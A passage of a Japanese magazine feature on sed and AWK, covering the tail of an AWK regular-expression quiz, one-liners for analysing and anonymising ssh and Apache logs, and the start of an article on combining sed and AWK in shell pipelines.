"であるかを表示します。
●A12：空白を削除します。
●A13：大文字を＊に変換します（gawkなど、
日本語をうまく処理できるAWK処理系では、
[A-Z]を [あ-ん ]として使うこともできます）。
●A14：すべての内容を1行に詰め込んで表示
します。
●A15：すべての内容を1行に詰め込んで表示
します。
●A16：フィールドごとに改行されます。
●A17：フィールドごとに改行されます。
●A18：2行ずつ1行にまとめて表示します。
●A19：
・答え

・解説

　AWKで使う正規表現で、次の等式が成り立
ちます。

(AB)C = A(BC) = ABC 連結の結合法則
(A¦B)¦C = A¦(B¦C) = A¦B¦C 選択の結合法則
(A?¦B) = (A¦B?) = (A¦B)? ？選択の結合法則
A¦B = B¦A 選択の交換法則
A¦A = A 選択の巾等法則
(A) = A 括弧の性質

AB¦AC = A(B¦C) 選択の分配法則
BA¦CA = (B¦C)A 選択の分配法則
A¦AB = AB? ？選択の分配法則
B¦AB = A?B ？選択の分配法則

　"?"、"*"、"+"の直前の式にもやはり "?"、"*"、
"+"がかかっている場合は、括弧を省略するこ
とができます。
　このことを理解できれば、(A)～(C)は、簡単
かもしれませんね。
　(D)のグループは、空列を含むビット列を表
しています。考え方は、ビット列をどう捉える
かで違った正規表現式が得られるということで
す。最初の式は、ビット列を1文字/(0|1)/の
繰り返しとみているのに対し、次の式は "0"の
並びまたは"1"の並びを基本単位としています。
3番目の式では、/0?1?/すなわち/ε|0|1|01/

の4種類を基本単位を考えています。4番目の
式も同様です（ε :イプシロンは、空列を意味し
ます）。

　いかがでしたか。AWKは、古典的なツール
と見逃してしまっていませんでしたか。IDEを
手放せないエンジニア世代にとっても、sed/

awkなどのコマンドラインツールの魅力を再発
見していただけたのではないでしょうか。パター
ンとアクションの組でテキストをフィールド／
レコードと認識しながら処理できるAWKは、
機敏さが特徴です。本編で使ったoption関数の
ように、頻繁に使うスクリプト・関数・正規表
現のイデオムをライブラリにしておけば、より
Agileなプログラミングツールとして活用でき
ることでしょう。
　ここで紹介できたことは、ほんの一部分の
AWKの機能です。AWKは、PerlやRubyのよ
うな、本格的なスクリプト言語とまではいかな
いまでも、強力な正規表現や内部関数も備えて
います。興味をもたれた方、ぜひ活用してみた
い方は、もっと詳しく調べてみてください。ﾟ

おわりに

グループ (A)
a. k. n.

(01)? ((01)?)? (01)??
グループ (B)

d. f. m. s.
(01)* ((01)*)* (01)** (01)*(01)*

j. l. o. r.
(01)?+ (01)+? (01)?* (01)*?

v. w.
(01)+* (01)*+

グループ (C)
b. e. i. q.

(01)+ ((01)+)+ (01)++ (01)+(01)*
g. p. t.

01(01)* (01)*01 (01)*(01)+
グループ (D)

c. h. u. x.
(0¦1)* (0*¦1*)* (0?1?)* (0*1*)*
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　膨大なログ情報から稼働状況を把握したり、
障害の原因を特定したりするには、抽出や分析
が欠かせません。近年「ビッグデータ」や「デー
タマイニング」といった言葉が注目を浴びるよ
うになり、ある程度の規模になるとログを集中
管理するしくみを導入するようになっています
が、まだまだディスク上にファイルとして書き
出すのが一般的です。そうしたログファイルに
対し、sedやAWKといった基本コマンドだけで、
費用をかけず手っ取り早く分析や集計を行う方
法を紹介します。ワンライナーは動作が軽量で、
実行に多くのリソースを必要としないため、気
軽に何度でも実行できます。トライアル＆エラー
で試行錯誤を重ねながら、自分のツールとして
ワンライナーを習得しましょう。
　本Partでは実行例としてCentOS 6.4を使用
しています。ログファイルのパスやファイル名
は適宜実行環境に合わせて変更してください。
またCentOSではログファイルの参照に管理者
権限が必要になるものがあります。管理者権限
でワンライナーを実行する場合、プロンプトを
「#」で表記しています。

　sedやAWKは基本コマンドとして、多くの
UNIX系システムにインストールされています。

はじめに

sedやAWKを使った
ログ解析の基本

PerlやRubyを使ったスクリプトは生産性が高
いものの、しばしばインストールされていない
ことがあります。基本コマンドを日頃から使っ
ておけば、緊急事態にも対処できます。
　何より基本コマンドは軽量です。システムに
かかる負担が少なく、実行速度も高速です。た
とえば、GBを超えるサイズのログを開くのに、
Emacsやviを使うと、大量のメモリを消費し
動作も緩慢です。sedを使えば指定した日付や
文字列に一致した行だけフィルタリングできる
ほか、行数を指定してフィルタリングすること
もできます。たとえば100～200行目を抽出す
るには次のようにします。

　フィルタリングしたものをパイプライン（|）
でmoreや lessなどのページャに渡したり、リ
ダイレクション（>）でファイルに出力したりす
れば、大きなデータも扱いやすくなります。フィ
ルタリングとともに集計が必要ならAWKを使
用します。ファイルの行数をカウントするには、
次のようにAWKを実行します。

　さらにAWKは、空白で区切られたフィール
ドデータを取り出すことができます。lsで出力
されたカレントディレクトリ内のファイルサイ
ズ（空白で区切られた5番めのフィールド）を合
計するには次のようにします。

$ sed -e '100,200p' ファイル

$ awk '{count++} END {print count}' ファイル

本Partではログ解析や集計を行うsed/AWKワンライナー（1行スクリプト）を紹介します。sedやAWKを利用す
ると、膨大な量のログ情報から簡単に必要なものを取り出すことができます。

ログ解析
  Writer    鶴長 鎮一（つるなが しんいち）／book.nospam@tsurunaga.jp（.nospamを取ってください）

Part 1

ベテランが教えるsed/AWK
第4章
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　「ls -l」で出力された結果をパイプラインで
AWKに渡し、ファイルサイズを表した5番め
のフィールドを取り出した後、合計を計算しま
す。行数のカウントや、パターン文字列の出現
回数など、さまざまな集計ができます。
　表示を並び替えるのに sortコマンドが便利
です。たとえばユーザのホームディレクトリを
使用量の多い順に並び替えるには、duコマン
ドで/home内の各ディレクトリのディスク容量
を出力したものを、sortコマンドにパイプライ
ンで渡します。数値をキーに並び替えるよう、
sortコマンドに「-n」オプションを付加し、さら
に値が大きいもの順になるよう「-r」オプション
を付加します。

  サイズに限らずパターンの出現回数や速度と
いった数値をキーに並び替えることで、出力結
果が見やすくなります。

　ここからは具体的なログファイルを使って、
解析やレポートを行う方法を解説します。前半
はsshサービスのログを、後半はWebサー
ビスのログを使用します。それ以外のログ
でもフォーマットに合わせて、フィールド
データの取得方法を変更すれば、応用でき
ます。

$ ls -l ¦ awk '{size+=$5} END {print size}'

$ du -s /home/* ¦ sort -nr
487430  /home/tsurunaga
32426   /home/gihyo
2064    /home/kaneda

ログ解析とレポート

sshログインサービスの
ログ解析とレポート

　CentOSのsshサービスでは、ログインエラー
は「/var/log/secure」ファイルに記録されます。
不正アクセスや異常なログインを迅速に発見で
きるよう、ワンライナーを活用しましょう。

ログ中の重要な文字列をカラー表示
　tailやmoreといったコマンドでログを表示
するだけでは、重要なメッセージを見落としが
ちです。重要な文字列を強調表示できれば、ス
クリーニング作業をより正確に行うことができ
ます。そこでsedの文字列置換を使って、重要
な文字列やその背景をカラー表示します。たと
えばsshサービスのログ（/var/log/secure）にあ
る、パスワードの入力間違いの記録を見やすく
するには、図1のようなワンライナーを、カラー
表示可能なターミナル上で実行します注1。
　すると図2のように、「Failed password」の
文字列がシアン注2、その背景色が青注3で表示さ
れ、不正利用の痕跡を発見しやすくなります。
図1で実行したsedのしくみは次のとおりです。
　sshログインに失敗すると、「/var/log/

注1） BSD系sedなど、sedのバージョンによってカラー表示で
きない場合があります。

注2） モノクロページなので薄いグレーになっています。
注3） モノクロページなので濃いグレーになっています。

 ▼図2　パスワードの入力間違いをカラーリング表示した結果

# sed -e 's/¥(Failed password¥)/¥x1b[1;ｭ
36;44m¥1¥x1b[0m/' /var/log/secure
 ※/var/log/secureを参照するには管理者権限が必要 

 ▼図1　パスワードの入力間違いをカラーリング表示
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secure」ファイルに図3のようなログが出力さ
れるため、文字列「Failed password」に対し、
sedで置き換えを実行します。「sed -e 's/置換
元/置換後/'」を基本形に、置換元に「\(Failed 

password\)」を指定し、置換後に「\x1b[1;36;

44m\1\x1b[0m」を指定します。置換元を「\(パ
ターン\)」と指定することで、一致した文字列
をそのまま置換後文字列に「\1」で引用できます。
その前後の「\x1b[1;36;44m」と「\x1b[0m」が文字
列と背景をカラーリングするためのエスケープ
シーケンスです。「\x1b」はESCコードの16進
表記、「1;36;44」は「文字スタイル ;文字色 ;背景
色」を表し、それを「[～m」で囲みます。ここで
は「太文字 ;文字色（シアン）;背景色（青）」を指定
しています。パターンにマッチした文字列以外
は通常表示に戻すよう、「[0m」でスタイルやカ
ラーをリセットします。
　そのほかに指定可能なものは表1のとおりです。
　2ヵ所をカラーリング表示するには、「sed -e 

スクリプト1 -e スクリプト2」の形式で、置換

元と置換後に別のものを指定したスクリプトを
新たに追加します。たとえば図4のように実行
すると、「Failed password」のカラーリングと
ともに「authentication failure」が赤くカラーリ
ングされます。
　パターンにマッチした文字列ごとに色を指定
すれば、何ヵ所でもカラーリングできますが、
ワンライナーで実行するには非効率です。複数ヵ
所におよぶ場合は、sedスクリプトを使うと簡
潔になります。スクリプトを書きだしたcolor.

sedファイル（リスト1）を用意し、「-f スクリプ
トファイル名」オプションつきでsedを実行し
ます。color.sedでは、ここまでに紹介した
「Failed password/authentication failure」の カ
ラーリングに加え、「sudo」を緑色で強調し、行
頭の日付（「Jul  9 23:05:50」）を太文字で表示し
ます。

# sed -f color.sed /var/log/secure

 ▼表1　文字列と背景をカラーリングするためのエスケープシーケンス

文字スタイル
0 スタイルをリセット
1 太文字
4 下線
5 点滅
7 色反転
8 隠す

文字色
30 黒
31 赤
32 緑
33 黄色
34 青
35 マゼンダ
36 シアン
37 白

背景色
40 黒
41 赤
42 緑
43 黄色
44 青
45 マゼンダ
46 シアン
47 白

 ▼図3　sshログインに失敗した際のログ

Jul 10 13:05:55 Host sshd[12024]: ｭ
Failed password for invalid user ○○ ｭ
from 192.168.19.213 port 51005 ssh2

 ▼図4　2ヵ所をカラーリング表示

# sed -e 's/¥(Failed password¥)/¥ ｭ
x1b[1;36;44m¥1¥x1b[0m/' ¥
     -e 's/¥(authentication failure¥)/¥ ｭ
x1b[5;31;43m¥1¥x1b[0m/' ¥
      /var/log/secure

 ▼リスト1　color.sed

s/¥(Failed password¥)/¥x1b[1;36;44m¥1¥x1b[0m/
s/¥(authentication failure¥)/¥x1b[5;31;43m¥1¥x1b[0m/
s/¥(sudo¥)/¥x1b[1;32;45m¥1¥x1b[0m/
s/¥(^.*[0-9][0-9]:[0-9][0-9]:[0-9][0-9]¥)/¥x1b[1m¥1¥x1b[0m/
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不正アクセス件数をカウント
　次に、ログから不正アクセス元を抽出し、アク
セス元ごとに件数をカウントする方法を解説しま
す。たとえば、sshログインに失敗した件数を、
アクセス元ごとに集計するには、ログ（/var/log/

secure）に対し図5のようにsedを実行します。
　「sed -n -e '/対象行/s/置換元/置換後/'」を
基本形に、対象行に不正アクセスの際に記録さ
れる文字列として「Failed password」を指定し、
不正アクセスを記録した行だけ抽出します。そ
れ以外の行は出力しないよう、sedに「-n」オプ
ションを付加します。抽出したログから IPア
ドレスだけ抜き出すよう、置換元に「.* 
sshd.*Failed password for.*from \([0-9.]*\) 
port .*」を指定します。「.*」は任意の文字列を
表し、「[0-9.]*\」は 0～9までの数字と「.（ドッ
ト）」を含む文字列、すなわち「192.168.0.3」の
ような IPアドレスを表しています。その前後
を「\(～\)」ではさむことで、一致した文字列を
そのまま置換後文字列に「\1」で引用でき、置
換後に「\1」とだけ指定すれば、IPアドレス以
外の文字列は削除されます。
　sedで不正アクセス元のIPアドレスを抜き出

した後、パイプラインで sortに渡し出力結果
を並び替えます。さらにパイプラインでuniq

に渡します。「-c」オプションで重複する IPア
ドレスを取り除き、同時に行数をカウントし最
終的な出力結果とします。
　さらに出力結果を加工し、不正アクセス件数
順にアクセス元を並びかえ、トップ10だけ表
示するには、図5のワンライナーに「| sort -nr 
| head 10」を加えます（図6）。「sort -nr」で、
件数の多いものから順に表示するよう並び替え、
「head 10」で先頭10行だけ表示します。
　パターン文字列を変更すれば、他サービスの
不正アクセス件数をカウントすることもできま
す。たとえばWebサービスに対し不正なリク
エストを行ったクライアントを件数順に表示す
るには、「/var/log/httpd/error_log」ファイル
に対し図7のようなワンライナーを実行します。

Webサービスのログ解析と
レポート

　Apache HTTPD（以降、Apache）のアクセス
ログ（/var/log/httpd/access_log）を例に、sed/

AWKを使ったWebサービスのログ解析手法を
解説します。

 ▼図5　sedで不正アクセス件数をカウント（アクセス元でカウント）

# sed -n -e '/Failed password/s/.* sshd.*Failed password for.*from ¥([0-9.]*¥) port .*/¥1/p'ｭ 
/var/log/secure ¦ sort ¦ uniq -c
      3 127.0.0.1
      5 192.168.19.213
      9 192.168.19.224
...省略...

 ▼図6　sedで不正アクセス件数のトップ10表示（件数の多いものから順に並び替えトップ10を表示）

# sed -n -e '/Failed password/s/.* sshd.*Failed password for.*from ¥([0-9.]*¥) port .*/¥1/p'ｭ 
/var/log/secure ¦ sort ¦ uniq -c ¦ sort -nr ¦ head 10
    120 192.168.1.20
     90 192.168.1.15
     65 192.168.1.33
      6 127.0.0.1
      2 192.168.1.15

 ▼図7　sedでWebサービスの不正アクセス件数をカウント

# sed -n -e '/[error]/s/.*¥[client ¥(.*¥)¥].*/¥1/p' /var/log/httpd/error_log ¦ sort ¦ uniq ｭ
-c ¦ sort -nr ¦ head 10
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アクセスログの書式
　Apacheのアクセスログは、柔軟なカスタマ
イズができます。そのため、使用している環境
によってアクセスログやエラーログの書式が異
なります。ここでは、一般的な「combined」フォー
マットのアクセスログ（図8）を使用します。
　Apacheのアクセスログの書式は、設定ファイ
ル（通常はhttpd.conf）の中で、「%h」や「%l」など
の記述子を使って図9のように定義されています。
空白文字で区切られた各フィールドは、AWK

を使って次のように取り出すことができます。

　リクエストライン／HTTPリファラ／ユー
ザエージェントは、「"～"（ダブルクォート）」で
囲まれているため、「"」区切りでフィールドを
取り出します。それにはAWKを「-F\"」オプショ
ンつきで起動しデリミタを変更します。

トップ10表示
　各フィールドの取り出し方がわかったところ
で、フィールドごとに件数をカウントし、アク
セスログを集計しましょう。アクセスの多いク
ライアントを調べるには、図10のようなワン
ライナーでアクセス元 IPアドレスをトップ10

表示させます。
　AWKでアクセスログからアクセス元IPアド
レスを取り出し、sortで IPアドレス順に並び
替え、uniqで重複行をカウントしたものを、再

# awk -F¥" '{print $2}' access_log  
 ↑リクエストライン 
# awk -F¥" '{print $4}' access_log  
 ↑HTTPリファラ 
# awk -F¥" '{print $6}' access_log  
 ↑ユーザエージェント 

 ▼図8　combinedフォーマットのアクセスログ

10.0.2.13 - - [21/Jul/2013:18:12:57 +0900] "GET /wordpress HTTP/1.1" 301 310 "-" "Mozilla/..."
10.2.5.67 - - [21/Jul/2013:18:15:18 +0900] "GET /robots.txt HTTP/1.1" 404 292 "-" "Googlebot/2.1"

 ▼図10　アクセス元 IPアドレスのトップ10表示

$ awk '{print $1}' access_log ¦ sort ¦ uniq -c ¦ sort -nr ¦ head -10
1721 217.147.8.200
1496 165.245.212.150
1414 251.60.39.151
1380 140.189.174.80
1337 174.86.33.234
1335 202.60.24.252
...

 ▼図9　Apacheアクセスログの書式設定

CustomLog logs/access_log combined
LogFormat "%h %l %u %t ¥"%r¥" %>s %b ¥"%{Referer}i¥" ¥"%{User-Agent}i¥"" combined

%h ：アクセス元のIPアドレス
%l ：RFC 1413 ID
%u ：ユーザーID
%t ：アクセス日時
%r ：リクエストライン

%>s ：レスポンスコード
%b ：送信データ量
%{Referer}i ：HTTPリファラ
%{User-Agent}i ：ユーザエージェント

# awk '{print $1}' access_log   
 ↑アクセス元のIPアドレス 
# awk '{print $2}' access_log   
 ↑RFC 1413 ID 
# awk '{print $3}' access_log   
 ↑ユーザーID 
# awk '{print $4,$5}' access_log
 ↑アクセス日時 
# awk '{print $9}' access_log   
 ↑レスポンスコード 
# awk '{print $10}' access_log  
 ↑送信データ量 
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び sortで並び替え、headで上位のものに絞っ
て出力します。アクセスログからアクセス元
IPアドレスを取り出すのに「awk '{print $1}'」を
実行し、第1フィールドを取り出しますが、そ
れ以外は図6、7と同じです。取り出すフィー
ルドを、「awk '{print $4}'/awk '{print $9}'」など
と変更すれば、ほかの項目で件数やトップ10

を表示できます（図11）。
　単純な数え上げに加え、AWKなら条件つき
でカウントすることもできます。たとえば不正
アクセスやスクリプトの異常を検知するには、
レスポンスコードが「200」や「304」以外のログ
だけ抽出するよう「$9 !̃ /200|304/」を条件式
に加えた図12のワンライナーを実行します。
　図12を実行すると、AWKで200/304以外
のレスポンスコードとその際に要求された
URLを取り出し、パイプラインでsortやuniq

に渡して件数の多いものから順に表示します。
レスポンスコードとともに要求されたURLを
表示することで、どのURLに問題があるか調
べることができ、単なる外部からの攻撃か、
Webアプリケーションのエラーかを判断でき
ます。条件を変えて、リクエストラインでログ
を集計したり、正常なリクエストだけ転送量を
集計するなど応用もできます。

レスポンスコードごとの転送量
　ループ処理や連想配列など、高度なAWKプ
ログラミングを使って、合計や平均値などを求
めてみましょう。サーバからアクセス元に送信
されたデータの総転送量を計算するには、図13
のようなワンライナーを実行します。「total[$9] 

+= $10」は、連想配列（total[]）を用意しレスポン
スコードごとに転送量を加えた値を代入するこ

 ▼図11　HTTPリファラ／レスポンスコード／ユーザエージェントをトップ10表示

・HTTPリファラ
$ awk -F¥" '{print $4}' access_log ¦ sort ¦ uniq -c ¦ sort -nr ¦ head -10
53903 http://www.○○.jp/▲▲...
11479 -
3591 http://www.○○.jp/▲▲...
2799 http://www.○○.jp/▲▲..,
...

・レスポンスコード
# awk '{ print $9 }' access_log ¦ sort ¦ uniq -c ¦ sort -nr
7295 200
2911 304
2133 404
1474 500
1400 301
...

・ユーザエージェント
awk -F¥" '{print $6}' access_log ¦ sort ¦ uniq -c ¦ sort -nr ¦ head -10
5891 Mozilla/5.0 (Windows; U; Windows ... Safari/534.10
4145 Mozilla/5.0 (Macintosh; U; Intel Mac OS X ... Firefox/3.6.12
2338 Mozilla/5.0 (Windows; U; Windows NT ... Firefox/3.6.12
1959 Mozilla/5.0 (Macintosh; U; Intel Mac OS X ... Chrome/8.0.552.215 Safari/534.10
...

 ▼図12　不正アクセスの疑いがあるログをリクエストURLごとにカウント

$ awk '$9 !̃ /200¦304/{print $9,$7}' access_log ¦ sort ¦ uniq -c ¦ sort -nr
2027 404 /wp-content/plugins/...
1473 500 /wp-comments-post.php
 125 301 /?....
  96 206 /2010/12/03...
...省略...
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とを表しています。「END{...}」ブロックには、ロ
グ全行の読み込みが完了したときに一度だけ実
行されるものを指定します。ENDブロックの内
部では、total[]の要素数分、「printf "..."」が実行
され、書式つきでレスポンスコードとその総転
送量が出力されます。その際、総転送量をKb

単位に変換するため「1024」で割ります。

平均レスポンスタイム
　レスポンスタイムはWebサーバの重要な性能
指標です。Webサーバの非機能要件の中に、「画
面更新を◯秒以内に行う」といった条件を設け
ているサイトも珍しくありません注4。Apacheの
ログでレスポンスタイムを確認するには、フォー
マットを変更する必要があります（図14）。
　修正されたログから平均レスポンスタイムを

注4） Web一画面の更新に、画像やHTMLなど複数のリクエス
トが発生するため、単一URLのレスポンスタイムと、画面
全単体の更新時間は一致しません。

抽出し合計や平均を求めるには図15のようなワ
ンライナーを実行します。図14のようにログ
フォーマットを設定すると、各リクエストに対
するレスポンスタイムは最後のフィールドに記
録されます。それをAWKで取り出すには、「$NF」
を使用します。1行ずつログを読み込みながら
合計（sum）と行数（count）を計算し、全行読み込
みが完了したら平均をもとめ、さらに1000で割っ
て単位をm秒に変換します。正常なリクエスト
に絞ってレスポンタイムを求めるには、レスポ
ンスコードが200のログだけ抽出すよう、条件
式（$9 == 200）を加えます。条件を変えたり、
算出方法変えれば、レスポンスタイムが遅いも
のをURLやアクセス元ごとに表示できます。

データのアノニマイズ

　ログをほかの部門に渡したり、社外に送付し
たりする場合、そのまま送付すると個人情報や
企業情報の漏えいにつながるほか、機密情報の

 ▼図15　平均レスポンスタイムの算出

・全レスポンス
# awk '{sum += $NF; count++}; END{print (sum/count)/1000}' access_log
615.21

・レスポンスコードが200のリクエストだけ
# awk '$9 == 200{sum += $NF; count++}; END{print (sum/count)/1000}' access_log
983.495

 ▼図14　Apacheのアクセスログにレスポンスタイムを追加

LogFormat "%h %l %u %t ¥"%r¥" %>s %b ¥"%{Referer}i¥" ¥"%{User-Agent}i¥"" %D combined

%T  ：レスポンスタイム（単位：秒）
%D  ：レスポンスタイム（単位：マイクロ秒）

※ Apache 2.0以上で、access_logの
フォーマットに「combined」を使用して
いる場合。

 ▼図13　レスポンスコードごとの転送量

# awk ' { total[$9] += $10 } END {  for (x in total) { printf "Status code %3d : %9.2f ｭ
Kb¥n", x, total[x]/1024 } } ' access_log
Status code 304 :    572.77 Kb
Status code 404 :   5106.29 Kb
Status code 500 :   2336.42 Kb
Status code 200 : 329836.22 Kb
Status code 206 :   4649.29 Kb
Status code 301 :    535.72 Kb
Status code 302 :     20.26 Kb
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扱い義務に抵触することになります。ログを送
付する場合、個人を特定し得る情報をマスクす
るような、アノニマイズ（匿名化）処理が欠かせ
ません。

アクセス元 IPアドレスのマスク
　Webサーバにアクセスしたクライアントを特
定できないよう、アクセス元IPアドレスをマス
クするには、AWKを使って、第1フィールドを
「XX.XX.XX.XX」といった文字列に置き換えます。

　より厳重に、ダミーの IPアドレスに置き換
えるには、図16のようなワンライナーを実行
します。最初に「function ri(n) { ...}」でランダム
な整数を返す関数を定義します。ri(n)は引数と
して受け取った整数を0以上1未満のランダム
な数値で割り、商を整数化します。そのため引
数として255を渡すと、255より小さな整数を
返します。それを利用し、IPアドレスの形式
になるようsprintf()でフォーマットを整え、ア
クセス元 IPアドレスにあたる、ログの第 1

フィールド（$1）と入れ替えます。一度ダミー
アドレスを割り当てた IPアドレスは、ほかの
ログでも同じダミーアドレスを使うよう、
randip[]連想配列に代入しておきます。最後に

# awk '{ $1 = "XX.XX.XX.XX"; print $0 }' ｭ
access_log
XX.XX.XX.XX - - [21/Jul/2013:18:15:18 
+0900] ...
XX.XX.XX.XX - - [21/Jul/2013:18:18:23 
+0900] ...

マスクされた情報でログを出力するよう「print 

$0」を実行します。

リクエストURLのマスク
　ログ中のURLも機密情報として扱う場合が
あります。リクエストされたURLをマスクす
るには、図17のようなワンライナーを実行し
ます。リクエストラインを取得する「awk -F\" 

'{print $2}'」を基本形に、条件式に「if ($2 ̃ /

admin/)」を加え、URLの中に「admin」に一致す
る文字列があると、リクエストラインを「XXXX」
に置き換え、最後に「print $0」でマスクされた
ログを出力します。

　いかがだったでしょうか。駆け足で sed/

AWKを利用したいくつかのログ処理の方法に
ついて紹介しました。このテクニックが使える
のはログに限りません。工夫次第でいろいろ応
用ができますので参考にしてください。ﾟ

・参考にしたWeb
「y-kawazの日記」http://d.hatena.ne.jp/

y-kawaz/20110713/1310532417

「The Art of Web」http://www.the-art-of-web.com/

system/logs/#.Ud5ZYRazjWG

「A day in the life of...」http://www.adayinthelifeof.

nl/2010/12/11/sed-awk-examples/

おわりに

 ▼図16　アクセス元 IPアドレスのダミー化

# awk 'function ri(n) {  return int(n*rand()); }  BEGIN { srand(); }  { if (! ($1 inｭ 
randip)) {  randip[$1] = sprintf("%d.%d.%d.%d", ri(255), ri(255), ri(255), ri(255)); } ｭ
$1 = randip[$1]; print $0  }' access_log

 ▼図17　リクエストURLのマスク

# awk -F¥" '{ if ($2 ̃ /admin/) { $2 = "XXXX";} print $0  }' access_log
26.61.26.247 - - [07/Jul/2013:19:58:59 +0100]  XXXX  200 5289  -   Mozilla/5.0
151.91.24.29 - - [07/Jul/2013:20:58:05 +0100]  XXXX  200 21984  -   DoCoMo/2.0
229.150.44.17 - - [08/Jul/2013:11:39:36 +0100]  XXXX  301 345  -   Mozilla/4.0
229.150.44.17 - - [08/Jul/2013:11:39:36 +0100]  XXXX  200 22158  -   Mozilla/4.0
117.107.209.228 - - [09/Jul/2013:05:31:20 +0100]  XXXX  200 228  -   MSIE 7.0 
...

http://d.hatena.ne.jp/y-kawaz/20110713/1310532417
http://www.the-art-of-web.com/system/logs/#.Ud5ZYRazjWG
http://www.adayinthelifeof.nl/2010/12/11/sed-awk-examples/
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　後ろのほうで「開眼シェルスクリプト」を連載
している上田です。最近の開眼シェルスクリプ
トでは、OS寄り、インフラ寄りの場面で使わ
れることの多いシェルスクリプトを、かつての
ようにテキスト処理やCGIまで幅広く使う方
法を紹介しています。
　細かいテキスト処理を扱っていることから、
連載には、sedとAWKが頻繁に登場します。
普通のコマンドでできないような処理が発生す

はじめに
ると、たいていの場合、こいつらが出てきます。
ほかの多くのコマンドは、UNIXのものらしく
単機能で作られていますが、sedとAWKは単
機能ではなく、良くも悪くもシェルスクリプト
の中で十徳ナイフのような役割を果たします。
　たとえば、某大人気表計算ソフトから数字の
かたまりを取ってきてHTMLの table注1にした
いとすると、ExcelからVimの画面にコピーし
てファイルを作り、図1のようにテキストをこ

注1） 本当はTeXの表にしたいのですが、使える人がそれほどい
ないのでHTMLで。

図1　AWK（gawk）とsed（gsed）でHTMLの tableを作る ▼

 Excelからコピー&ペーストしてファイルを作る 
$ cat hoge
1    2    3
4    5    6

 ワンライナー実行（使い捨てワンライナーなので無理して読まないこと！） 
$ cat hoge ¦
gsed -e 's;¥t;</td>¥n<td>;g' -e 's;^;<tr>¥n<td>;' -e 's;$;</td>¥n</tr>;' ¦
gsed 's/<td/¥t¥t&/' ¦ gsed 's;</*tr;¥t&;' ¦
gawk 'BEGIN{print "<table>"}{print}END{print "</table>"}'
<table>
    <tr>
        <td>1</td>
        <td>2</td>
        <td>3</td>
    </tr>
    <tr>
        <td>4</td>
        <td>5</td>
        <td>6</td>
    </tr>
</table>

ここまでsedとAWKでできることをいろいろと紹介してきました。しかし、やりたい処理のすべてをsedだけ、
あるいはAWKだけで実現していると苦労する場合もあります。UNIX環境ではsed、AWKとその他のコマンドを
適材適所で組み合わせて使い分けることが重要です。本Partではその実践的なノウハウを解説します。

シェルスクリプトから見た
sedとAWK

  Writer    上田 隆一（うえだ りゅういち）／USP友の会／産業技術大学院大学／Twitter@ryuichiueda

Part 2
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ねくりまわします（gsedとgawkについてはコ
ラム参照）。エディタの置換機能でやってもい
いのですが、筆者の場合、改行がからむ置換の
方法をどうしても忘れてしまうので、ワンライ
ナーでやってしまいます。
　逆に、端末で表を作って某大人気表計算ソフ
トに移すには、図2のようにします。
　このように、仕事の最中にテキストにちょっ
とした変換をかけたいとき、sedとAWKを覚
えておくと、片手間で済んでしまうことが少な
くありません。

　この記事のお題は「シェルスクリプトから見
たsedとAWK」です。sedやAWKは、1つのコ
マンドで多くのことができますが、シェルスク
リプトやシェル上でsedとAWKを使用すると、
処理をパイプで分けることができます。つまり
同じ処理をするにしても、シェルスクリプトの
中に1個2個の巨大なAWKのコードを書くこ
ともできれば、処理を刻みに刻んでawkコマン
ドを100も200も書くこともできます。本稿で
はこの点について、しつこく論じてみようかと
考えています。
　筆者の場合、sedとAWKは、シェルスクリ
プトで使うコマンドとしてしか使っていません。
そしで、できるだけほかのコマンドと同様、1

つのawkやsedコマンドで行う処理を、なるべ
く少なく単機能に制限し、パイプで数珠つなぎ
にしていきます。
　この方法には、2つの大きな利点があります。

・ 処理の高速化が可能
・ 処理のアウトソーシングが可能

sedとAWKはこまか
く刻んで使いましょう

図2　手持ちのテキストファイルをCSVにする ▼

$ cat data
山田,上田ペア 123
濱田,鎌田ペア 456
 シフトJISのcsvデータにする 
$ cat data ¦ gsed 's/^/"/' ¦
gsed 's/$/"/' ¦ gsed 's/ /","/g' ¦ nkf ｭ
-sLwx > data.csv
 確認 
$ nkf -w data.csv
"山田,上田ペア","123"
"濱田,鎌田ペア","456"
 Macだとopenコマンドで関連するアプリが開く 
$ open data.csv
 （某表計算ソフトが立ち上がる） 

MacでsedとAWKを使うときの注意点COLUMN

　筆者がこの手の記事を書くときは、なるべくMac
（OS X）を想定環境としています。GUIアプリ（おも
に某オフィス製品）と端末をシームレスに行ったり
来たりできるので、互いの良いとこ取りをできると
いう点で優れています。コマンドラインの良さも余
計に際立ちます。
　ただしMacの場合、ほかの環境（とくにLinux）と
比べるといろいろと違いがあります。上記の積極的
な理由からMacを使っていますが、原稿を書く際
にはその違いを説明せねばならず、いつも面倒な思
いをしています。
　ここに最低限の差異を述べておくと、図1、2では、
gsed、gawkを使っていますが、それぞれGNU sed、
GNU awkで、Linuxでsed、awkとして使えるものと

「ほぼ」同等です。「ほぼ」というのは、Ubuntuだと
nawkというのが awkの正体だったり、CentOSな
らGNU awkがawkだったり、Linux内でも違いがあ
るからです。
　Macのデフォルトの sed、awkは微妙に気が利き
ません。とくに sedに関しては改行などの処理が簡
単にはできず、やれることが半減するのでぜひ
GNU sedを使ってください。
　gsed、gawkは、MacPorts、Homebrewでをイン
ストールすると使えます。下記は、Homebrewの
場合のインストール方法です。

$ brew install gawk gnu-sed
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順番に説明します。

処理の高速化

　これはすでに連載で扱った話題ですので手短
に説明します注2が、パイプにデータが流れてい
る限りは、コマンドは全部並行して動きます。
各コマンドの処理の負荷が同じくらいなら、
CPUを使い切るか、全部のコマンドがCPU負
荷100％で動きます。この話はおもしろくて、
年配の人はパイプやプロセススケジューラがそ
んなに効率的よく動くと考えておらず、若い人
はそもそもパイプをあまり使わないので、どっ
ちの世代にもウケます。
　いや、ウケるかどうかはどうでもよいので、
図3に例を1つお見せしてこの話は終わりにし
ま す。CPUコ ア が 2つ し か な い 筆 者 の
MacBook Airでも、同じ処理をコマンドを分

注2） 本誌2012年8月号の「開眼シェルスクリプト（第8回）」を
参照。

けて書いたほうが早く終わる現象が確認できま
す。
　プロセス管理、プロセス間通信はOSの威信
に関わるような基礎機能であり、これまで常に
改良が進んできました。これからも増え続ける
CPUコア数に対し、改良されることが期待で
きます。したがってパイプによる並列処理は積
極的に使うべきですが、べつに積極的にならな
くてもシェルでコマンドをいじっていれば自然
に使えるでしょう。

処理をアウトソーシング

　「処理をアウトソーシング」とは何のことかと
思われるかもしれませんが、AWKのコードで
例を1つお見せします。
　たとえば図4の入力に対し、「1列目の数字の
カンマを取って2列目の数字とかけ算し、絶対
値の大きい順に上位3位まで数字を出力する」
という処理をAWKで書いてみましょう。
　まず、図5のようなコードを書きました。ちゃ
んと動きます。
